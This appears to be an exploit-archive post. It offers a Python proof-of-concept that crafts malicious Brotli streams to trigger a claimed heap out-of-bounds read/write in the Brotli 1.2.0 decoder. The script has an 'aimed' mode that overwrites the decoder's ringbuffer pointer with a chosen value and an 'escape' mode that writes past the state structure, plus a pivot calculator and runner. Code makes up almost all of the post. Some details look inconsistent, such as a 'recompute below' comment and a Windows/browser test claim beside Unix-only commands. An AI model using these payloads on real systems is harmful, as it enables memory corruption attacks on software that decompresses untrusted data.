Brotli 1.2.0 Decoder Heap Out-Of-Bounds Read/Write

==================================================================================================================================
| # Title     : Brotli 1.2.0 Decoder DecodeBlockTypeAndLength Heap Out-of-Bounds Read/Write                                      |
| # Author    : indoushka                                                                                                        |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits)                                                   |
| # Vendor    : https://pypi.org/project/brotli/                                                                                 |
==================================================================================================================================

[+] Summary : toolkit designed to investigate a claimed heap Out-of-Bounds (OOB) read/write vulnerability in Brotli's DecodeBlockTypeAndLength decoding logic.


[+] POC    : 

#!/usr/bin/env python3

import argparse, os, struct, subprocess, sys, tempfile, time

VULN_VERSIONS = ("1.0.3", "1.0.4", "1.0.9", "1.1.0", "1.2.0")
FIX_COMMIT    = "0ed4268a4401abcb4472096340477cf4af7d1a2b"
CAP           = 1 << 24               
STATE_SIZE    = 0x1670                
OFF_BUFFER    = 0x48
OFF_BLEN      = 0x50
OFF_RINGBUF   = 0x88
OFF_SHDICT    = 0x320
RINGBUF_PWN   = 0x00000CAFEBABE000     
class BitWriter:
    def __init__(self):
        self.acc = 0
        self.nbits = 0
        self.out = bytearray()

    def write(self, value, n):
        assert 0 <= value < (1 << n), (value, n)
        self.acc |= (value & ((1 << n) - 1)) << self.nbits
        self.nbits += n
        while self.nbits >= 8:
            self.out.append(self.acc & 0xFF)
            self.acc >>= 8
            self.nbits -= 8

    def finish(self):
        if self.nbits:
            self.out.append(self.acc & 0xFF)
            self.acc = 0
            self.nbits = 0
        return bytes(self.out)
def build_trigger_stream(mode="aimed", escape_k=2530, control=False):
    """
    Build a Brotli stream that:
      1) declares NBLTYPESL=NBLTYPESI=NBLTYPESD=1, MLEN-1=0
      2) emits 2^24 zero-output commands (14 bits each)
      3) drives block_length[1] to 0 -> wedged state
      4) tail: 8 filler + (pivot) + payload   (pivot omitted in control)

    mode:
      "aimed"   -> pivot 0x3F, payload = RINGBUF_PWN (8 bytes LE)
      "escape"  -> chain pivot to land `escape_k` bytes past state
      "control" -> no pivot, no payload
    """
    if control or mode == "control":
        pivot_bytes = b""
        payload = b""
    elif mode == "aimed":
        pivot = (OFF_RINGBUF - OFF_BUFFER) - 8  # 0x88-0x48-8 = 0x38? recompute below
        pivot_val = OFF_RINGBUF - OFF_BUFFER  # 0x40
        pivot_bytes = bytes([pivot_val & 0xFF])
        payload = struct.pack("<Q", RINGBUF_PWN)
    elif mode == "escape":
        idx = OFF_BUFFER + escape_k
        lo = idx & 0xFF
        hi = (idx >> 8) & 0xFF
        pivot_bytes = bytes([0x08, 0x20])
        base_off = OFF_BLEN + 0x2008 - STATE_SIZE 
        if escape_k < base_off:
            raise SystemExit(f"escape_k must be >= {base_off}")
        payload = b"A" * (escape_k - base_off + 1)
    else:
        raise SystemExit(f"unknown mode {mode}")

    bw = BitWriter()
    bw.write(1, 1)       
    bw.write(0, 1)         
    bw.write(3, 2)        
    bw.write(0, 16)         
    bw.write(0, 1)          
    bw.write(0, 1)          
    bw.write(0, 1)         
    bw.write(0, 1)         
    bw.write(0, 2)          
    bw.write(0, 4)         
    bw.write(1, 1)        
    bw.write(0, 2)        
    bw.write(0, 1)        

    bw.write(1, 1); bw.write(0, 2); bw.write(0, 1) 
    bw.write(1, 1); bw.write(0, 2); bw.write(0, 1) 

    CMD_BITS = 14
    total_bits = CAP * CMD_BITS
    full_bytes, rem = divmod(total_bits, 8)
    bw.out.extend(b"\x00" * full_bytes) 
    if rem:
        bw.write(0, rem)

    body = bw.finish()
    tail = b"\x00" * 8 + pivot_bytes + payload
    return body + tail
def compute_pivot(target_struct_off):
    """Return (pivot_bytes, note) to start the run at target_struct_off."""
    if target_struct_off < OFF_BLEN + 8:
        raise SystemExit("target must be past buffer_length byte0")
    rel = target_struct_off - OFF_BUFFER
    if rel <= 0xFF:
        return bytes([rel & 0xFF]), f"single-byte pivot 0x{rel:02x}"
    lo = rel & 0xFF
    hi = (rel >> 8) & 0xFF
    return bytes([lo, hi]), f"chained pivot 0x{hi:02x}{lo:02x}"
def run_decode(path, tool="brotli"):
    print(f"[*] {tool} -d -c {path} > /dev/null")
    t0 = time.time()
    r = subprocess.run([tool, "-d", "-c", path],
                       stdout=subprocess.DEVNULL, stderr=subprocess.PIPE)
    dt = time.time() - t0
    print(f"[*] exit={r.returncode}  ({dt:.2f}s)")
    if r.returncode in (134, -6):
        print("[!] SIGABRT — likely free() on corrupted pointer (aimed mode)")
    elif r.returncode == 1:
        print("[+] clean rejection (control, or fixed build)")
    if r.stderr:
        sys.stderr.write(r.stderr.decode("utf-8", "replace")[:300])
    return r.returncode

def run_asan(path, harness=None):
    if harness is None:
        print("[-] no ASan harness provided; build one with `asan_harness.c`")
        return None
    print(f"[*] ASAN_OPTIONS=... {harness} {path}")
    env = dict(os.environ, ASAN_OPTIONS="abort_on_error=1:detect_leaks=0")
    r = subprocess.run([harness, path], env=env,
                       stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    print(f"[*] exit={r.returncode}")
    sys.stderr.write(r.stderr.decode("utf-8", "replace")[:2000])
    return r.returncode
def parse_crash(path):
    with open(path, "r", errors="replace") as f:
        txt = f.read()
    for pat in (r"Exception Type:\s*(.+)", r"Exception Subtype:\s*(.+)",
                r"Termination Reason:\s*(.+)", r"Triggered by Thread:\s*(.+)"):
        import re
        m = re.search(pat, txt)
        if m:
            print(f"  {pat.split(':')[0]}: {m.group(1).strip()}")
    for line in txt.splitlines():
        if "BrotliDecoder" in line or "free" in line.lower():
            print("  |", line.strip()[:120])
def info():
    print(f"[*] vulnerable versions : {', '.join(VULN_VERSIONS)}")
    print(f"[*] fix commit          : {FIX_COMMIT} (unreleased)")
    print(f"[*] state size          : {STATE_SIZE:#x} ({STATE_SIZE})")
    print(f"[*] buffer @ {OFF_BUFFER:#x}  buffer_length @ {OFF_BLEN:#x}  "
          f"ringbuffer @ {OFF_RINGBUF:#x}  shdict @ {OFF_SHDICT:#x}")
    print(f"[*] BROTLI_BLOCK_SIZE_CAP = {CAP}")
    print(f"[*] ringbuffer pwn value  = {RINGBUF_PWN:#x}")
    try:
        r = subprocess.run(["brotli", "--version"], capture_output=True, text=True)
        print(f"[*] local brotli: {r.stdout.strip() or r.stderr.strip()}")
    except FileNotFoundError:
        print("[!] `brotli` not found in PATH")
def all_(mode, escape_k, tool):
    info()
    work = tempfile.mkdtemp(prefix="brotli_poc_")
    out = os.path.join(work, f"block_switch_{mode}.br")
    print(f"[*] building {mode} stream ...")
    data = build_trigger_stream(mode=mode, escape_k=escape_k,
                                control=(mode == "control"))
    with open(out, "wb") as f:
        f.write(data)
    print(f"[+] wrote {out} ({len(data)} bytes)")
    rc = run_decode(out, tool=tool)
    print(f"[*] done. exit={rc}")
    return rc
def main(argv=None):
    ap = argparse.ArgumentParser(description="Brotli DecodeBlockTypeAndLength PoC")
    sub = ap.add_subparsers(dest="cmd", required=True)

    sub.add_parser("info")

    p = sub.add_parser("build")
    p.add_argument("--mode", choices=["aimed", "escape", "control"], default="aimed")
    p.add_argument("--k", type=int, default=2530, help="escape distance past state")
    p.add_argument("--out", default=None)
    p = sub.add_parser("run")
    p.add_argument("--file", required=True)
    p.add_argument("--tool", default="brotli")
    p = sub.add_parser("asan")
    p.add_argument("--file", required=True)
    p.add_argument("--harness", default=None)
    p = sub.add_parser("crash")
    p.add_argument("--log", required=True)
    p = sub.add_parser("pivot")
    p.add_argument("--target", type=lambda s: int(s, 0), required=True)
    p = sub.add_parser("all")
    p.add_argument("--mode", choices=["aimed", "escape", "control"], default="aimed")
    p.add_argument("--k", type=int, default=2530)
    p.add_argument("--tool", default="brotli")

    a = ap.parse_args(argv)

    if a.cmd == "info":
        info()
    elif a.cmd == "build":
        data = build_trigger_stream(a.mode, a.k, control=(a.mode == "control"))
        out = a.out or f"block_switch_{a.mode}.br"
        with open(out, "wb") as f:
            f.write(data)
        print(f"[+] wrote {out} ({len(data)} bytes)")
    elif a.cmd == "run":
        run_decode(a.file, a.tool)
    elif a.cmd == "asan":
        run_asan(a.file, a.harness)
    elif a.cmd == "crash":
        parse_crash(a.log)
    elif a.cmd == "pivot":
        pb, note = compute_pivot(a.target)
        print(f"[+] pivot bytes: {pb.hex()}  ({note})")
    elif a.cmd == "all":
        all_(a.mode, a.k, a.tool)

if __name__ == "__main__":
    main()
	
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================